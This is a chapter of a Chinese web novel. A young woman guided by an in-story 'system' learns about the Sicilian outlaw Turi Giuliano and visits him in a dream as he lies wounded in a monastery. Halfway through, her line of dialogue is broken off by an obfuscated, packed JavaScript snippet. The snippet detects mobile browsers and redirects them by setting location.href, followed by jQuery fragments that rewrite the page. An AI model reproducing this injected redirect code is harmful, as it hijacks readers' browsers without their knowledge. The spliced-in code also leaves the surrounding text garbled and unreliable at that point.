倪雅自问，虽然看电影时分神玩俄罗斯方块，但电影里的人物名字，她大致都是记得的呀，这个新的人物，什么时候蹦出来的？
谁是图里·吉里安诺？
这个名字频频现于报端，是西西里家喻户晓、街谈巷议的人物。
年轻人们崇拜他，老年人们感谢他，穷人们视他为救世主，政府忌惮他对政权的威胁，富人恨他恨得夜不能寐。
而巴勒莫的黑手党首领唐·克罗切，对他是“得不到就要毁掉”的心态。厉害有主见的年轻人，如果不能发展成为“友中友”，坐视其发展壮大无异于自掘坟墓，所以必须在他强大到无法控制之前，将他彻底扼杀。
图里·吉里安诺劫富济贫，公正不阿。
如果他愿意，他手里经手的财富早已不止几十亿里拉。
可他从不藏私。
他把钱交给乡村医生建诊所，给寡妇添炊锅，给孩子买墨水和鞋。他手下的人过上了从未想过的宽裕日子，有人添了奶牛，有人娶了媳妇，还有人终于在冬天盖起了瓦屋。
而图里自己，藏匿在大山里，穿着旧衣裳，除了供养父母日常生活所需，什么也没留下。
正因为这一无所有，他才成为所有一无所有的人的希望。
和所有在动荡中成长起来的爱国青年一样，他对国家的前途怀有一种近乎天真的使命感。
可现实很快撕破了这层理想的幕布。
这片土地，早已被撕裂得不成样子。
战后政府腐败无能，政客们满嘴仁义，却只顾着争地盘、分预算。他们的警察不是来保护人民的，是来守护达官显贵的私有财产，是来镇压，而不是救援。
黑手党残暴、野蛮、血腥，是这片土地上盘踞百年的毒瘤。
他们一边搅乱社会秩序，一边自诩秩序维护者。
以唐·克罗切为首的黑手党泯灭人性，勾结政府，对底层人民层层盘剥，反复围剿。像一条缠绕在西西里人脖子上的蛇，阴测测地吐着蛇信子，可怜的人啊，越挣扎勒得越深。
他对这一切感到彻底的绝望，也彻底的不屑。他要的不是现成的统治模式，也不是暴力的循环延续。
于是，他公开宣称：“我要成立一个独立的西西里共和国。”
——一个不靠暴力统治，也不靠贿赂运转的国家；一个让农民能有地种，让寡妇有饭吃，让孩子能上学的地方。
那时的他真的相信：只要人心还在，就能从山林中走出一条新路。
他想用一把枪，换一个未来。
曾几何时，图里·吉里安诺也相信神的居所是洁净的，信仰是清贫的，是人世苦难中留给灵魂的一点余地。
直到他亲眼见过圣弗朗西斯修道院的生活。
那不是庇护所，也不是圣地，那是一座打着神的名号运转的庄园，富庶得俨然是个小王国。
修士们住在白石小楼里，屋顶晒着自家晾的香肠，院子里种着柠檬、橄榄和甘蔗，鸡鸭成群，猪圈整洁，酒窖里装着年份清晰的红酒。
他们抽烟，赌钱，喝酒。烟是用酒从黑市上换来的，酒是自己酿的，从不交税，也不上缴。他们的肉铺每天都有新鲜羊肉和小猪，做面都要配肉汤。夜里有女人悄悄进来，没人赶，也没人提。
他震惊。他无法理解。
在这片岛上，多少人一整天扛麻袋只能挣五十分钱，一根面包都买不起。可这些披着信仰外衣的人，却活得像王公贵族。
对此，院长睁一只眼闭一只眼，露出了神明宽恕的笑容，说：
“现在是困难时期，承诺的天堂遥不可及。人们必须有点乐趣，上帝会原谅他们的（1）。”
那一刻，图里·吉里安诺明白，通向神的阶梯被虫蛀了。
那些搭建阶梯的人，用的是黄金和空话，用的是税金与戒律。他们把信仰变成生意，把神的名字挂在门上，却只准有钱人进去。
他开始醒悟，那些真正痛苦的人，是无法通过教会与神对话的。他们跪得再久，也只能听到自己的回声。
那他为什么不能站出来呢？
既然他们听不到神的声音，那他就做那个能听见他们声音的人。
既然他们求神赐食无果，那他就带着面粉和铜币出现；
既然他们祈愿得自由无门，那他就用枪把枷锁打碎。
如果他们找不到神，那他就做那个能让他们心想事成的人。
倪雅大脑飞速运转，努力消化系统提供的那一大段人物背景资料。越听越觉得不对劲，越听越心凉。
“等等，这人一听就是要死的节奏啊……”她喃喃，唯一念头是掐人中。
劫富济贫、反抗政府、质疑教会、对抗黑手党、怀着理想想建共和国——每一步听起来都像是死亡集邮卡，普通人集其中两个就能死无全尸了，这位勇士，他一个人跟集五福似的全包了。
她深吸一口气，慢慢地问系统：
“我这么理解，你看看对不对，所以这个图里·吉里安诺，是集怪盗罗宾的浪漫与梁山好汉的义气于一身，又怀抱对《理想国》的无限憧憬的小哥哥一枚，是吧？”
系统停顿一秒，高速运算她这句话的成分比，冷静回应：“是的，宿主的理解很全面。”
倪雅长叹一口气，皱着一张脸，“看起来涨薪无望，难怪你那时候答应得这么爽快，真抠啊。”
说完她她掰着指头一个个分析，
“首先，劫富济贫，动的是有权有势的人的蛋糕；
反抗政府，完了，单打独斗怎么敌得过国家机器？就算打赢了，也会从内部分化，分着分着就变节了，被逼上梁山的有几个最后不是想归顺朝廷的？
质疑教会，也完了，在天主教大本营意大利搞这套，自己去教堂门口排队忏悔吧；
对抗黑手党，除非有九百条命，不然按照西西里人的那点复仇热情，这根本杀不完，杀到七代以后都还在记仇；
最后一点，唉糊涂啊糊涂啊，天真浪漫的理想主义者政治家，我认识一个，跳江给我们送了个端午节。什么共和国理想国的，理想很丰满，现实很骨感……苏格拉底、柏拉图、亚里士多德，他们自己都没住进去呢。”
她说着说着，声音慢慢低了下去，原本架在情绪上的肩膀也塌了下来。
从“怪盗罗宾”到“跳江端午节”，把该吐的槽全吐完了，却突然觉得有点不忍。
旁观一个人走上那座天真而崇高的理想高台，看他一步步无限接近理想，哪怕明知他终将坠落，又有谁能忍心不为他偷偷喝彩？
可这世上总有些人，他们的天真太纯粹了，纯粹到现实无法收容，只能粉碎。
倪雅轻声问：“系统，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405282|168747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那我能怎么帮助他呢？”
系统的声音从耳边响起，平静、无波，像是菩萨手持净瓶，轻点杨柳枝，洒下悲悯的净水：
“你将获得三次机会，进入图里·吉里安诺的人生梦境。每一次，都是在他灵魂最不安定的时刻。”
倪雅低着头，没有说话。系统的声音又一次响起：
“每一次对话，都是一根细线。或许能把他从既定命运的断崖边，拉回来一步。”
“现在是否进入第一次梦境：‘修道院·濒死之夜’？”
倪雅看着指尖，想，自己真的有能力改变一个人必死的轨道吗？
脑子里却忽然蹦出一句不知道从哪听来的老话：理想国里，住不下活人。
算了，尽人事，听天命。至少要尝试一下。
她轻轻叹了一口气，闭了闭眼，说：“进入吧。”
下一秒，她的身体仿佛被抽离现实，眼前一暗。
没有眩晕，没有风声，只有水声，像是有人在她耳边慢慢倒下一整瓶湖水。
她睁眼时，已站在一间石砌小屋里。
空气干冷，墙面泛黄，窗棂嵌着花纹残破的彩玻璃，昏暗的光线像远古的哀歌。
屋内弥漫着药草与陈旧血腥混合的味道。
火盆边是一张木床，一个男人躺着，脸色苍白，唇边干裂，身上缠着粗布绷带，腹部有血迹还在往外渗。他闭着眼，但眉头紧锁，像是在梦中也无法安眠。
那就是图里·吉里安诺。
看着床上那个无法动弹的人，倪雅忽然理解，为什么那么多人会死心塌地追随他、信仰他、甚至崇拜他。
他身形高大，肩宽背直，哪怕此刻形容憔悴、气息微弱，躺在那里也没有半分颓势。静止的姿态中反而透出某种更强大的存在感。
像是被历史遗落在修道院深处的神祇，神性未泯，只是暂时沉睡。
她看着他的五官，居然一丝辨认美丑的念头都生不出来，脑中浮现的只有博物馆和美术课本里那种栩栩如生的经典石膏雕像。而他腹部的伤口，就像耶稣肋骨处流出的血，诡异却又毫不突兀地，为他添上一种更沉静、更高远的神性。
察觉到倪雅的存在，床上的人微微动了动，像是从极深的梦里挣扎出来，艰难地睁开双眼。
那是一双浅棕色的眼睛，与他的发色和皮肤一致，像西西里初升的日光，温暖而遥远，带着神祇才会拥有的冷静与恒常。
他的整张面孔在火光与阴影之间显得安详、沉静，他望着她，眼睑半垂，像博物馆里古希腊雕像的注视。
不锋利、不逼人，却叫人移不开目光。
让人联想到神话中的太阳神。
“……你是谁？是来带我走的，还是让我留下的？”他的声音很轻，这两句话几乎用尽了他全身的力气。说完后，他闭上眼缓了好几秒，喉结微动，像是在用尽意志把自己拉回清醒。
倪雅走近一步，在床沿蹲下，语气既像劝慰，也像命令：
“听着，你会活下去的，图里·吉里安诺。”
她停顿了一下，望进那双像朝阳一样的浅棕色眼睛。
“请你记住这种求生的本能，它会救你，千千万万次。”
火光在他眼中晃了一下。
图里没有回答，只是闭了闭眼，像是把这句话深深记住了。